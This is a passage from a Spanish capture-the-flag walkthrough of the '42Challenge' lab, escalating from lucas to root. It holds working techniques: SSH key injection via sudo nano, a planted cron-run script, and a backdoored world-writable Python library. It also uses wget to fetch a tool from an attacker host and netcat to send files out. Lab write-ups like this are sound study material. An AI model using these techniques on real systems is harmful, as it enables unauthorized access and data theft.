lucas@42Challenge:/home/lucas$

Vaya, pues si que lo tiene! puede ejecutar nano como maria. Esto quiere decir que podemos leer y/o escribir cualquier archivo en el sistema siendo maria. Deberíamos poder aprovechar esto para inyectar nuestra clave pública SSH en el archivo "authorized_keys" de maria y consiguir SSH con ello como maria.

Generamos una clave SSH en nuestra máquina, y copiamos el contenido del archivo ".pub". Una vez lo tengamos, en la máquina remota vamos a ejecutar nano como maria usando sudo.

sudo -u maria /bin/nano

Pegamos el contenido de nuestro archivo ".pub", pulsamos ctrl+O y lo guardamos como "authorized_keys" en la siguiente ruta:

Vaya, nos dice que no exite el archivo o directorio, esto debe ser porque el directorio .ssh no existe. Podemos tratar de crearlo desde nano ya que "somos" maria.

Para ejecutar comandos de sistema, pulsamos ctrl+R y tras ello, ctrl+X. Y ahora, podemos ejecutar "mkdir /home/maria/.ssh".

Ya podemos probar a guardar el archivo nuevamente.

Ahora si!

Pues vamos a conectarnos como maria usando nuestra nueva clave rsa.

root@EvilBook:/tmp# ssh -i 42_rsa maria@192.168.1.68

                :dMMMMMMMMd:   oMMMMMMMdyMMMMMMMMM
             /mMMMMMMMNh- oMMMh:   +MMMMMMMMM
         +mMMMMMMMNy- -- .yMMMMMMMMm
     .+mMMMMMMMNs- .oNMMMMMMMd/
 .omMMMMMMMmo.                   -sNMMMMMMMh/     .
MMMMMMMMMMMMMMMMMMMMMMMMMMMm   oMMMMMMMMN      -sN
MMMMMMMMMMMMMMMMMMMMMMMMMMMN   oMMMMMMMMN    -yNMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMN   oMMMMMMMMN  -yNMMMM
yyyyyyyyyyyyyyyyyyNMMMMMMMMN   oMMMMMMMMN:hNMMMMMM
                  mMMMMMMMMN   -ooooooooo+oooooooo
                  mMMMMMMMMN
                  mMMMMMMMMN
                  mMMMMMMMMN

Welcome to the 42Challenge

Last login: Sat Mar 14 17:22:12 2020 from 192.168.1.40
maria@42Challenge:~$ ls
flag.txt
maria@42Challenge:~$ cat flag.txt
42challenge{maria_feb36fabc2ca4874fe0b42ed7d17d58f}
maria@42Challenge:~$

Ya somos maria y tenemos su bandera!

Escala de privilegios 4

Vamos a ver, no tenemos ni permisos sudo, ni tareas programadas.

maria@42Challenge:~$ sudo -l
[sudo] contraseña para maria: 
maria@42Challenge:~$ crontab -l
no crontab for maria
maria@42Challenge:~$

Volvamos a ejecutar "linpeas.sh" como maria para ver a que archivos tenemos acceso.

Encontramos dos archivos, uno de pedro y otro de laura. Ambos, tienen permisos extendidos por lo que, puede que sobre alguno tengamos algún tipo de acceso.

maria@42Challenge:/tmp$ ls -la /home/pedro/Reporting_System_Info.sh
-rw-r-----+ 1 pedro pedro 875 feb 29 11:29 /home/pedro/Reporting_System_Info.sh
maria@42Challenge:/tmp$ ls -la /home/laura/Server_Status.py
-r--r-----+ 1 laura laura 460 feb 29 13:10 /home/laura/Server_Status.py
maria@42Challenge:/tmp$
maria@42Challenge:/tmp$ getfacl /home/pedro/Reporting_System_Info.sh
getfacl: Eliminando «/» inicial en nombres de ruta absolutos
# file: home/pedro/Reporting_System_Info.sh
# owner: pedro
# group: pedro
user::rw-
user:maria:r--
group::---
mask::r--
other::---

maria@42Challenge:/tmp$ getfacl /home/laura/Server_Status.py
getfacl: Eliminando «/» inicial en nombres de ruta absolutos
# file: home/laura/Server_Status.py
# owner: laura
# group: laura
user::r--
user:pedro:r-x          #effective:r--
group::---
mask::r--
other::---

maria@42Challenge:/tmp$

Como podemos ver, siendo maria tenemos acceso de lectura sobre el archivo "home/pedro/Reporting_System_Info.sh" pero, para acceder al archivo "home/laura/Server_Status.py" debemos ser pedro.

Veamos el contenido de "Reporting_System_Info.sh"

#!/bin/sh

#Checking system files rights
ls -la /etc/passwd >> /tmp/results.txt
ls -la /etc/shadow >> /tmp/results.txt

echo "" >> /tmp/results.txt

#Checking users last login
last marvin | head -n 1 >> /tmp/results.txt
last lucas | head -n 1 >> /tmp/results.txt
last maria | head -n 1 >> /tmp/results.txt
last pedro | head -n 1 >> /tmp/results.txt
last root | head -n 1 >> /tmp/results.txt

echo "" >> /tmp/results.txt

#Checking users groups
id marvin | cut -d " " -f 3 >> /tmp/results.txt
id lucas | cut -d " " -f 3 >> /tmp/results.txt
id maria | cut -d " " -f 3 >> /tmp/results.txt
id pedro | cut -d " " -f 3 >> /tmp/results.txt
id root | cut -d " " -f 3 >> /tmp/results.txt

#---> Maria needs to create this feature in the future <---
#Sending a Email with the results
sh /home/maria/Send_Reporting_Email.sh 2>/dev/null

#Removing reporting file
rm -rf /tmp/results.txt

Vaya, el script ejecuta otro script llamado "Send_Reporting_Email.sh" que debería estar alojado en el home de maria pero que, aún no lo ha creado. Viendo lo que hace el script, parece que es un checkeo de el estado de los archivos "passwd", "shadow", las últimas conexiones de los usuarios y los grupos a los que pertenecen. Tras ello, envía un informe por email por lo que, puede que sea una tarea automatizada. Vamos a ejecutar Pspy para ver los procesos en ejecución.

maria@42Challenge:/tmp$ wget 192.168.1.91:81/pspy64
--2020-04-13 11:51:36-- http://192.168.1.91:81/pspy64
Conectando con 192.168.1.91:81... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 4468984 (4,3M) [application/octet-stream]
Guardando como: “pspy64”

pspy64                        100%[===============================================>]   4,26M  --.-KB/s    en 0,04s   

2020-04-13 11:51:36 (96,0 MB/s) - “pspy64” guardado [4468984/4468984]

maria@42Challenge:/tmp$ chmod +x pspy64
maria@42Challenge:/tmp$ ./pspy64

Efectivamente, vemos que el archivo "/home/pedro/Reporting_System_Info.sh" se está ejecutando automáticamente y, además, podemos ver que el archivo "/home/laura/Server_Status.py" también, por lo que si logramos ser pedro, puede que nos sirva de ayuda.

Vamos a crear el script en el home de maria que está tratando de ejecutar el archivo "Reporting_System_Info.sh". En el, vamos a escribir las ordenes para que escriba nuestra clave ssh ".pub" en el directorio ".ssh" de pedro pero, he visto que el directorio tampoco existe por lo que debemos crearlo dentro de el propio script.

#!/bin/sh

if [ ! -d "/home/pedro/.ssh" ]; then
        mkdir /home/pedro/.ssh
        echo "ssh-rsa AAAA......" > /home/pedro/.ssh/authorized_keys
fi

Ahora, listando los archivos dentro del home de pedro, veremos cuando ha sido inyectada nuestra clave ssh.

maria@42Challenge:~$ ls -la /home/pedro
total 44
drwxr-xr-x  5 pedro pedro 4096 mar 14 17:40 .
drwxr-xr-x  7 root  root  4096 feb 29 11:36 ..
lrwxrwxrwx  1 root  root     9 mar  5 09:12 .bash_history -> /dev/null
-rw-r--r-- 1 pedro pedro  220 abr  4  2018 .bash_logout
-rw-r--r-- 1 pedro pedro 3771 abr  4  2018 .bashrc
drwx------ 2 pedro pedro 4096 feb 29 10:44 .cache
-r-------- 1 pedro pedro   52 mar  5 09:14 flag.txt
drwx------ 3 pedro pedro 4096 feb 29 10:44 .gnupg
drwxrwxr-x  3 pedro pedro 4096 feb 29 10:46 .local
-rw-r--r-- 1 pedro pedro  807 abr  4  2018 .profile
-rw-r-----+ 1 pedro pedro  875 feb 29 11:29 Reporting_System_Info.sh
-rw------- 1 pedro pedro 1127 mar 14 17:40 .viminfo
maria@42Challenge:~$
maria@42Challenge:~$ ls -la /home/pedro
total 48
drwxr-xr-x  6 pedro pedro 4096 abr 13 12:57 .
drwxr-xr-x  7 root  root  4096 feb 29 11:36 ..
lrwxrwxrwx  1 root  root     9 mar  5 09:12 .bash_history -> /dev/null
-rw-r--r-- 1 pedro pedro  220 abr  4  2018 .bash_logout
-rw-r--r-- 1 pedro pedro 3771 abr  4  2018 .bashrc
drwx------ 2 pedro pedro 4096 feb 29 10:44 .cache
-r-------- 1 pedro pedro   52 mar  5 09:14 flag.txt
drwx------ 3 pedro pedro 4096 feb 29 10:44 .gnupg
drwxrwxr-x  3 pedro pedro 4096 feb 29 10:46 .local
-rw-r--r-- 1 pedro pedro  807 abr  4  2018 .profile
-rw-r-----+ 1 pedro pedro  875 feb 29 11:29 Reporting_System_Info.sh
drwxrwxr-x  2 pedro pedro 4096 abr 13 12:57 .ssh
-rw------- 1 pedro pedro 1127 mar 14 17:40 .viminfo
maria@42Challenge:~$

Ahora nos conectamos por ssh usando la clave rsa como pedro. Y ya tenemos acceso como pedro y la bandera del usuario!

root@EvilBook:/tmp# ssh -i 42_rsa pedro@192.168.1.68

                :dMMMMMMMMd:   oMMMMMMMdyMMMMMMMMM
             /mMMMMMMMNh- oMMMh:   +MMMMMMMMM
         +mMMMMMMMNy- -- .yMMMMMMMMm
     .+mMMMMMMMNs- .oNMMMMMMMd/
 .omMMMMMMMmo.                   -sNMMMMMMMh/     .
MMMMMMMMMMMMMMMMMMMMMMMMMMMm   oMMMMMMMMN      -sN
MMMMMMMMMMMMMMMMMMMMMMMMMMMN   oMMMMMMMMN    -yNMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMN   oMMMMMMMMN  -yNMMMM
yyyyyyyyyyyyyyyyyyNMMMMMMMMN   oMMMMMMMMN:hNMMMMMM
                  mMMMMMMMMN   -ooooooooo+oooooooo
                  mMMMMMMMMN
                  mMMMMMMMMN
                  mMMMMMMMMN

Welcome to the 42Challenge

Last login: Sat Mar 14 17:38:03 2020 from 192.168.1.40
pedro@42Challenge:~$ ls
flag.txt  Reporting_System_Info.sh
pedro@42Challenge:~$ cat flag.txt
42challenge{pedro_6b849447404a8ddb95936e9804305fa6}
pedro@42Challenge:~$

Escala de privilegios 4

Bien, anteriormente como pedro, habíamos visto que el archivo "/home/laura/Server_Status.py" tenía permisos extendidos que permitían la lectura para el usuario pedro y que además, se ejecuta periodicamente en el sistema por lo que, vamos a ver su contenido.

pedro@42Challenge:~$ cat /home/laura/Server_Status.py
import os
import subprocess

def is_service_running(name):
    with open(os.devnull, 'wb') as hide_output:
        exit_code = subprocess.Popen(['service', name, 'status'], stdout=hide_output, stderr=hide_output).wait()
        return exit_code == 0

if not is_service_running('ssh'):
    print 'SSH: is not running'
else:
    print 'SSH: is running'

if not is_service_running('nginx'):
    print 'Nginx: is not running'
else:
    print 'Nginx: is running'

pedro@42Challenge:~$

Perfecto, vemos que está comprobando periodicamente el estado de los servicios SSH y Nginx. El script está importando la librería os y la librería subprocess. Veamos los permisos de ambas librerías.

pedro@42Challenge:~$ ls -la /usr/lib/python2.7/os.py
-rw-r--r-- 1 root root 25910 nov  7 11:07 /usr/lib/python2.7/os.py
pedro@42Challenge:~$ ls -la /usr/lib/python2.7/subprocess.py
-rw-rw-rw- 1 root root 51131 mar 14 17:54 /usr/lib/python2.7/subprocess.py

Si! tenemos permisos de escritura en la librería "subprocess.py" por lo que, podemos incluir código en ella que será ejecutado cada vez que el script "/home/laura/Server_Status.py" sea ejecutado por el sistema.

Para ello, editamos el archivo "subprocess.py" y añadimos al final de este las siguientes líneas.

if not os.path.exists('/home/laura/.ssh'):
    os.makedirs('/home/laura/.ssh')
    ssh_file = open('/home/laura/.ssh/authorized_keys', 'a')
    ssh_file.write('ssh-rsa AAA................")
    ssh_file.close()

Y del mismo modo que antes, esperamos a que se ejecute el archivo hasta que veamos que el directorio /home/laura/.ssh ha sido creado.

pedro@42Challenge:~$ ls -la /home/laura/
total 44
drwxr-xr-x  6 laura laura 4096 abr 13 13:12 .
drwxr-xr-x  7 root  root  4096 feb 29 11:36 ..
lrwxrwxrwx  1 root  root     9 mar  5 09:10 .bash_history -> /dev/null
-rw-r--r-- 1 laura laura  220 abr  4  2018 .bash_logout
-r-------- 1 laura laura 3771 mar  9 22:50 .bashrc
drwx------ 3 laura laura 4096 mar 10 08:21 .cache
-r-------- 1 laura laura   52 mar  5 09:16 flag.txt
drwx------ 3 laura laura 4096 mar  9 19:50 .gnupg
drwxrwxr-x  3 laura laura 4096 feb 29 12:33 .local
-rw-r--r-- 1 laura laura  807 mar  9 22:50 .profile
dr-x------ 2 laura laura 4096 mar 14 17:30 secret_messages
-r--r-----+ 1 laura laura  460 feb 29 13:10 Server_Status.py
pedro@42Challenge:~$ 
pedro@42Challenge:~$ ls -la /home/laura/
total 48
drwxr-xr-x  7 laura laura 4096 abr 13 13:13 .
drwxr-xr-x  7 root  root  4096 feb 29 11:36 ..
lrwxrwxrwx  1 root  root     9 mar  5 09:10 .bash_history -> /dev/null
-rw-r--r-- 1 laura laura  220 abr  4  2018 .bash_logout
-r-------- 1 laura laura 3771 mar  9 22:50 .bashrc
drwx------ 3 laura laura 4096 mar 10 08:21 .cache
-r-------- 1 laura laura   52 mar  5 09:16 flag.txt
drwx------ 3 laura laura 4096 mar  9 19:50 .gnupg
drwxrwxr-x  3 laura laura 4096 feb 29 12:33 .local
-rw-r--r-- 1 laura laura  807 mar  9 22:50 .profile
dr-x------ 2 laura laura 4096 mar 14 17:30 secret_messages
-r--r-----+ 1 laura laura  460 feb 29 13:10 Server_Status.py
drwxrwxr-x  2 laura laura 4096 abr 13 13:13 .ssh
pedro@42Challenge:~$

Una vez lo tenemos, deberíamos poder realizar la conexión ssh como laura utilizando el archivo rsa.

Nos conectamos y, tenemos acceso como laura, y su bandera!

root@EvilBook:/tmp# ssh -i 42_rsa laura@192.168.1.68

                :dMMMMMMMMd:   oMMMMMMMdyMMMMMMMMM
             /mMMMMMMMNh- oMMMh:   +MMMMMMMMM
         +mMMMMMMMNy- -- .yMMMMMMMMm
     .+mMMMMMMMNs- .oNMMMMMMMd/
 .omMMMMMMMmo.                   -sNMMMMMMMh/     .
MMMMMMMMMMMMMMMMMMMMMMMMMMMm   oMMMMMMMMN      -sN
MMMMMMMMMMMMMMMMMMMMMMMMMMMN   oMMMMMMMMN    -yNMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMN   oMMMMMMMMN  -yNMMMM
yyyyyyyyyyyyyyyyyyNMMMMMMMMN   oMMMMMMMMN:hNMMMMMM
                  mMMMMMMMMN   -ooooooooo+oooooooo
                  mMMMMMMMMN
                  mMMMMMMMMN
                  mMMMMMMMMN

Welcome to the 42Challenge

Last login: Mon Apr 13 13:16:08 2020 from 192.168.1.91
laura@42Challenge:~$ ls
flag.txt  secret_messages  Server_Status.py
laura@42Challenge:~$ cat flag.txt
42challenge{laura_f43b25e765a8f79a24cedd76753d38c2}
laura@42Challenge:~$

Escala de privilegios 5

Dentro del directorio home de laura, hay otro directorio llamado "secret_messages" el cual, tiene un binario encrypt, otro decrypt y dos archivos de texto aparentemente encriptados.

laura@42Challenge:~/secret_messages$ cat Reminder.txt
Zxjw?wttyUfxx|twi?my<+dijwJK;<uKm
laura@42Challenge:~/secret_messages$
laura@42Challenge:~/secret_messages$ cat Secret_Message.txt
97%Rfiwni%jx%zs%htshjuyt%nsst{fitw%~%inxwzuyn{t1%vzj%qqjlf%utw%uwnrjwf%{j%f%Jxufȶf%ij%qf%rfst%ij%Kzsifhnȸs%Yjqjkȸsnhf3%Xn%ynjsjx%rȦx%ij%6=%fȶtx%~%vznjwjx%hts{jwynwyj%js%zs%uwtkjxntsfq%ij%fqyt%sn{jq1%97%jx%ufwf%yn3%St%sjhjxnyfx%ynyzqfhntsjx%sn%ktwrfhnȸs%uwj{nf3%Xȸqt%sjhjxnyfx%xjw%ujwxj{jwfsyj1%~%yjsjw%lfsfx%ij%fuwjsijw%f%fuwjsijw3%97%jx%lwfyznyt1%uwjxjshnfq%~%jxyȦ%fgnjwyt%qfx%79%mtwfx%ijq%iȲf1%qtx%8;:%iȲfx%ijq%fȶt1%ufwf%vzj%uzjifx%ywfgfofw%~%fuwjsijw%f%yz%wnyrt3FuwjsijwȦx%f%ujsxfw1%f%mfhjw1%f%fifuyfwyj%~%f%j{tqzhntsfw%ufwf%xzujwfw%hzfqvznjw%wjyt%ij%mt~%t%ij%rfȶfsf3
laura@42Challenge:~/secret_messages$

Vamos a ver si somos capaces de desencriptar el mensaje secreto!

laura@42Challenge:~/secret_messages$ ./decrypt

42 Madrid es un concepto innovador y disruptivo, que llega por primera vez a España de la mano de Fundación Telefónica. Si tienes más de 18 años y quieres convertirte en un profesional de alto nivel, 42 es para ti. No necesitas titulaciones ni formación previa. Sólo necesitas ser perseverante, y tener ganas de aprender a aprender. 42 es gratuito, presencial y está abierto las 24 horas del día, los 365 días del año, para que puedas trabajar y aprender a tu ritmo.

Aprenderás a pensar, a hacer, a adaptarte y a evolucionar para superar cualquier reto de hoy o de mañana.

laura@42Challenge:~/secret_messages$

Solo con ejecutar el archivo decrypt, ya parece que nos muestra un texto hablándonos sobre "42 Madrid". Vamos a copiar a nuestra máquina el archivo "decrypt" y los dos archivos ".txt".

laura@42Challenge:~/secret_messages$ nc -w 3 192.168.1.91 81 < decrypt
laura@42Challenge:~/secret_messages$ nc -w 3 192.168.1.91 81 < Reminder.txt
laura@42Challenge:~/secret_messages$ nc -w 3 192.168.1.91 81 < Secret_Message.txt

Ahora, vamos a hacer algo de debug sobre el binario "decrypt".

Vemos que está utilizando "fopen" para leer un archivo, vamos a ver que está abriendo.

Bien, como podemos ver en RDI, está leyendo por defecto el archivo "Secret_Message.txt", vamos a tratar de modificar la variable para que lea el archivo "Reminder.txt" y así quizá podamos ver su contenido.

Ahora continuamos la ejecución y...

Tenemos las credenciales de root!!!

laura@42Challenge:~/secret_messages$ su root
Contraseña: 
root@42Challenge:/home/laura/secret_messages# cd 
root@42Challenge:~# ls
flag.txt
root@42Challenge:~# cat flag.txt
42challenge{root_b66b33ade4d6aacb37d84353074d5aed}
root@42Challenge:~#

Ya tenemos acceso root al sistema y la bandera de root.